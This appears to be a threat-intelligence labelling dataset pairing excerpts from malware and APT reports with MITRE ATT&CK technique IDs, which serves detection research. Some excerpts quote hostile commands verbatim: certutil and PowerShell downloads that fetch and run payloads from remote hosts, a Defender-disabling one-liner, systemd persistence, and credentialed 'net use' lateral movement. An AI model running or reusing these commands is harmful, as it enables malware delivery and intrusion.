QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.
MITRE ATT&CK techniques:
T1486
T1560
T1074
Threat description: has created password-protected RAR, WinImage, and zip archives to be exfiltrated.
MITRE ATT&CK techniques:
T1486
T1560
Threat description: has used RAR to compress, encrypt, and password-protect files prior to exfiltration.
MITRE ATT&CK techniques:
T1486
T1560
Threat description: """Are you Happy?"" campaign.""FreeMilk"" campaign.""North Korean Human Rights"" campaign.""Evil New Year 2018"" campaign.On January 2nd of 2018, the ""Evil New Year 2018"" was started"
MITRE ATT&CK techniques:
T1543
T1543.003
Threat description: Figure 2: AuditCred/ROptimizer Service If successfully installed, this particular backdoor poses quite a threat to its target
MITRE ATT&CK techniques:
T1543
T1543.003
Threat description: Code comparison between the default batch script issued by Poison Frog’s C2 and a batch script received by the Helminth Trojan Webshells The data dump included several different webshells apparently used by OilRig to interact with compromised servers
MITRE ATT&CK techniques:
T1064
T1059
Threat description: When, finally, the first stage shellcode receives a special “FF” signal, it then executes the delivered shellcode
MITRE ATT&CK techniques:
T1064
T1059
Threat description: Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode”
MITRE ATT&CK techniques:
T1064
T1059
Threat description: However, in order to kick off the execution of the malware the attacker uses a batch script which executes the malware, but the batch script does more than simply initiate execution of the malware
MITRE ATT&CK techniques:
T1064
T1059
Threat description: The full contents of the batch script are given in Appendix C – a.bat
MITRE ATT&CK techniques:
T1064
T1059
Threat description: Section 1 The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:  TEMpPAtH = "C:\ProgramData\" (the path used for storing the temp files) Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine) FIlENAmePATHP = WindowsDefender.ini (file used to store Powershell code) PRIVAtE = Private Key exponents PUbLIc = Public Key exponents Hklm = "HKLM:\Software\" Hkcu = "HKCU:\Software\" ValuE = "kaspersky" SYSID DrAGon_MidDLe = [array of proxy URLs]  Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12
MITRE ATT&CK techniques:
T1059.001
T1546.013
Threat description: After decoding out the blob, analysts found a PowerShell script.
MITRE ATT&CK techniques:
T1059.001
T1546.013
Threat description: The macro contains a PowerShell script to persist in the "Run" registry key, "KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding".
MITRE ATT&CK techniques:
T1059.001
T1546.013
Threat description: !ExeCuteFile Executes a specified file using ShellExecuteA   !DeleteFileFolder Deletes a file or a folder   !SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server   !DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system    Table 2 Commands available within MPK IRC Bot   The post Magic Hound Campaign Attacks Saudi Targets appeared first on Palo Alto Networks Blog
MITRE ATT&CK techniques:
T1070.004
T1074
Threat description: Additionally, the first stage JavaScript creates a scheduled task that executes the second stage code within a minute – this delayed execution helps to bypass behavior analysis since the second stage is not directly executed by the first stage
MITRE ATT&CK techniques:
T1064
T1053.005
T1027
T1074
Threat description: An example of 1.hwp with registry and system information:  Gold Dragon executes these steps executed in the exfiltration process:  Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com” The encrypted content is written to the data file 1.hwp
MITRE ATT&CK techniques:
T1486
T1074
Threat description: Buckeye has been known to exploit zero-day vulnerabilities in the past, such as CVE-2010-3962 in an campaign in 2010 and CVE-2014-1776 in 2014
MITRE ATT&CK techniques:
T1068
T1203
Threat description: Command Description   search Searches for corresponding files   search&upload Encrypts and adds the corresponding files to the upload directory with the provided name   uploadfile Encrypts and adds the specified file to the upload directory with the provided name   uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name   shellexecute Silently executes received command with cmd.exe   wmic Silently executes received command with wmic.exe (for WMI commands)   sendIEPass Encrypts and adds all gathered browser data into files for upload to C2   uninstall Removes files, directory and BITS tasks    Cryptography To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample
MITRE ATT&CK techniques:
T1074
T1083
T1486
T1070.006
T1036
T1047
Threat description: Creates the service file /usr/lib/systemd/system/rsyncd.service [Unit]Description= synchronize and backup service.After=syslog.target [Service].ExecStart=/bin/rsyncd.OOMScoreAdjust=-500 [Install].WantedBy=multi-user.target Then it installs the service by executing the following commands: ln -s '/lib/systemd/system/rsyncd.service' '/etc/systemd/system/multi-user.target.wants /rsyncd.service' systemctl daemon-reload  The running systemd process determines, which option will be used to register the Trojan in autorun
MITRE ATT&CK techniques:
T1102
T1543.003
T1569.002
T1021
T1007
Threat description: Deletion of all registry keys associated with the extraction of the SFX RAR Deletion of the User Assist Key entries related to applications that have been recently executed Deletion of all registry keys relating to services that have recently run  Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system
MITRE ATT&CK techniques:
T1112
T1012
T1547.001
Threat description: Exploit Analysis  Despite being an older vulnerability, many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word
MITRE ATT&CK techniques:
T1068
T1203
Threat description: Exploits  CVE-2017-0143, SMB exploit CVE-2017-0146, SMB exploit  These 2 exploits are EternalBlue/Doublepulsar and are used to drop the Stage1 Dropper onto a system.  Installation The Gh0stRAT dropper arrives on a PC through the use of EternalBlue/DoublePulsar.  Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory.  It then passes the config buffer to the extracted DLL and calls the exported function (Shellex)  [Screenshot 2] The mainthread of the code.  Note the call at the bottom that calls Shellex Gh0stRAT dll functionality An important note:  In its base state, this sample is damaged, therefore it will not install its services properly.  However, as the service information is included, I will list it anyways.  Additionally, samples downloaded from its distribution server DO install correctly,  and are downloaded during the base dll’s runtime
MITRE ATT&CK techniques:
T1574.002
T1574.001
T1203
Threat description: Figure 2: APT39 attack lifecycle There are some indications that APT39 demonstrated a penchant for operational security to bypass detection efforts by network defenders, including the use of a modified version of Mimikatz that was repacked to thwart anti-virus detection in one case, as well as another instance when after gaining initial access APT39 performed credential harvesting outside of a compromised entity's environment to avoid detection
MITRE ATT&CK techniques:
T1027.002
T1070.004
Threat description: The ‘Company’ field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware. Delivery via HTA Loader. In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment
MITRE ATT&CK techniques:
T1074
T1547.001
T1053.005
T1010
T1106
Threat description: Figure 4: Execution Workflow Section of v.vbs After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts
MITRE ATT&CK techniques:
T1064
T1053.005
T1106
Threat description: Figure 8 CARROTBAT downloading final payload via certutil   The downloaded CAB file has the following properties:    MD5 a943e196b83c4acd9c5ce13e4c43b4f4   SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd   SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62   File Type Microsoft Cabinet archive data, 181248 bytes, 3 files      The following three files and their descriptions are dropped by this CAB file:      Filename Purpose   Install.bat Installation batch script responsible for copying the other files to C:\Users\Public\Downloads and setting the Run registry key to ensure persistence
MITRE ATT&CK techniques:
T1064
T1036
T1105
T1083
Threat description: Figures 8 and 9: LiteHTTP screenshots taken from the user`s profile in which the acronym “Knock” appears Conclusion SpeakUp`s obfuscated payloads and propagation technique is beyond any doubt the work of a bigger threat in the making
MITRE ATT&CK techniques:
T1113
T1027
Threat description: GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Host: <C2 Location> Cache-Control: no-cache    Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:  Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158
MITRE ATT&CK techniques:
T1010
T1008
Threat description: HawkEye offers the following exfiltration options based on the configuration: email, FTP, SFTP, HTTP POST to PanelURL API or ProxyURL.As mentioned above, in the comments of the main loop section, it also comes with several anti-analysis features, including starting an anti-debugging thread or disabling certain AV-related programs via the Image File Execution Options (IFEO) evasion technique by registering invalid debuggers that redirect and effectively disable various system and security applications.The following diagram summarizes the full infection process:ConclusionRecent changes in both the ownership and development efforts of the HawkEye Reborn keylogger/stealer demonstrate that this is a threat that will continue to experience ongoing development and improvement moving forward
MITRE ATT&CK techniques:
T1562.001
T1071
Threat description: If running with administrator privileges on a 32-bit host:  Copy the temporary DLL in %TEMP% to %WINDOWS%\LINKINFO.dll   Otherwise:  Copy the temporary DLL in %TEMP% to %APPDATA%\cnagnt.dll Delete the temporary DLL in %TEMP% Write a ‘Conime.lnk’ file in the user’s startup path
MITRE ATT&CK techniques:
T1055
T1574.002
T1070.004
T1574.001
Threat description: It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts
MITRE ATT&CK techniques:
T1046
T1087
Threat description: Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor
MITRE ATT&CK techniques:
T1090
T1016
T1543.003
Threat description: Once Shellex is called, it first passes each of the items in the config buffer to their own strings.  Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists.  If so, it opens it using service manager.  If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe.  Next, it creates the service and runs it.  Once the service is running, it creates a new mutex using [C2URL]:[PORT] and connects to the C2 server.  It then sends the Implant_Heartbeat opcode, and then calls its payload function to grab  Version Information (x86 and x64) Host information SystemInfo Processor Count and Write Speed Global Memory Status  before formatting it, altering the InstallTime subkey, and sending all of the information back to its C2 in the Implant_Login buffer
MITRE ATT&CK techniques:
T1082
T1569.002
T1543.003
Threat description: Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>:[command]<>[parameters for command in hexadecimal format] The available commands are: Command Description 1 Run command 2 Upload a file 3 Download a specified file   The parameters for each command are issued in hexadecimal format
MITRE ATT&CK techniques:
T1016
T1070.006
T1059
T1105
Threat description: Stage 1 sample file: 3amadi_hamas.zip MD5: e686ffa90b2bfb567547f1c0dad1ae0b Type: Compressed container Child file/lure name: محضر اجتماع العمادي مع هنية رئيس حماس امس الاحد .exe Child file/lure MD5: 92dd0f16e8ae274d83ba1d0d5b2e342  This sample ZIP file, which is similar to many other stage 1 downloaders in this campaign, contains an executable that is a compiled AutoIt script and which embeds some interesting functions (listed in the table below)
MITRE ATT&CK techniques:
T1036
T1074
T1083
Threat description: Takes screenshots when recording VoiceIP app audio
MITRE ATT&CK techniques:
T1113
T1123
Threat description: The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file
MITRE ATT&CK techniques:
T1547.009
T1218.011
Threat description: The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\rundll32.exeC:\\Windows\\System32\\shell32.dll,ShellExec_RunDLLC:\\Windows\\System32\\cmd.exe /k certutil -urlcache -split -fhxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe"     During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127
MITRE ATT&CK techniques:
T1036
T1105
Threat description: The keylogger will monitor for active application windows and write them to the log in the following format: <span class=’keylog_process’>[Application Name]</span> The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format: <span class=’keylog_user_keys’>[logged keystrokes]</span> The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format; <span class=’keylog_spec_key’>[special character]</span> Infrastructure The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers: 23.227.196[.]215 apple-iclods[.]org apple-checker[.]org apple-uptoday[.]org apple-search[.]info When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure
MITRE ATT&CK techniques:
T1056
T1573
Threat description: The macro performs all of these activities with the following command:cmd /c taskkill /f /im winword.exe&taskkill /f /im Excel.exe&taskkill  /f /im MSPUB.exe&taskkill /f /im POWERPNT.EXE&taskkill /f /im  MSASCuiL.exe&taskkill /f /im MpCmdRun.exe&cd ""%ProgramFiles%\Windows  Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exitThe macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry
MITRE ATT&CK techniques:
T1055.012
T1112
T1036
Threat description: The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users’ system to download the below payload:     function runmumaa()     On Error Resume Next     set shell=createobject("Shell.Application")     shell.ShellExecute "powershell.exe","-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object                         “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com        /install/install.exe”,”install.exe”);Invoke-Item install.exe", "",         "open", 1     end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project
MITRE ATT&CK techniques:
T1055.012
T1036
T1068
Threat description: The webshell will iterate through the IP list and perform a series of commands for each IP, starting off with using the following command to connect to the remote system: net use [IP address] /user:[domain admin username] [domain admin password] 2>&1 After connecting to the remote system with net use, the webshell will run the following command to obtain a list of user folders: dir /b [IP address]\c$\Users 2>&1 With a list of user folders, the webshell will iterate through the list of users and enumerate all of the files in the following folders: [IP address]\c$\Users\[username]\Desktop [IP address]\c$\Users\[username]\Documents [IP address]\c$\Users\[username]\Downloads The Network Downloader function will gather all the files in these folders and use 7-Zip to compress and archive the files
MITRE ATT&CK techniques:
T1204
T1016
T1033
T1087
Threat description: They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe
MITRE ATT&CK techniques:
T1055.012
T1036
Threat description: This version of HALFBAKED connects to the following C2 server: hxxp://198[.]100.119.6:80/cd hxxp://198[.]100.119.6:443/cd hxxp://198[.]100.119.6:8080/cd This version of HALFBAKED listens for the following commands from the C2 server:  info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries processList: Send list of process running screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1) runvbs: Executes a VB script runexe: Executes EXE file runps1: Executes PowerShell script delete: Delete the specified file update: Update the specified file  All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code: Function send_data(data)                 random_string = custom_function_to_generate_random_string()                 encoded_data = URLEncode(SimpleEncrypt(data))                 post_data("POST”, random_string & "=" & encoded_data, Hard_coded_c2_url, Create_Random_Url(class_id)) The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the HALFBAKED backdoor
MITRE ATT&CK techniques:
T1070.004
T1041
Threat description: We are not sure if this works, but the command name would suggest it is meant to take a screenshot   $command Runs a PowerShell command and sends the output to the C2   slp:\d+ Sets the sleep interval between C2 beacons   $testmode Issues DNS queries of A, AAAA, AC, CNAME, MX, TXT, SRV and SOA types to the C2 servers attempting to determine which DNS query types were successful
MITRE ATT&CK techniques:
T1571
T1008
T1043
T1071
Threat description: When macros are enabled and run, the macro within the Word document searches the sections of the document to get the contents of the header using the following piece of code:       Set rng = ActiveDocument.Sections(intSection).Headers(1).Range     The code above obtains the contents of the header, which the macro will write to a file at C:\programdata\Office365DCOMCheck.ps1
MITRE ATT&CK techniques:
T1204
T1140
T1083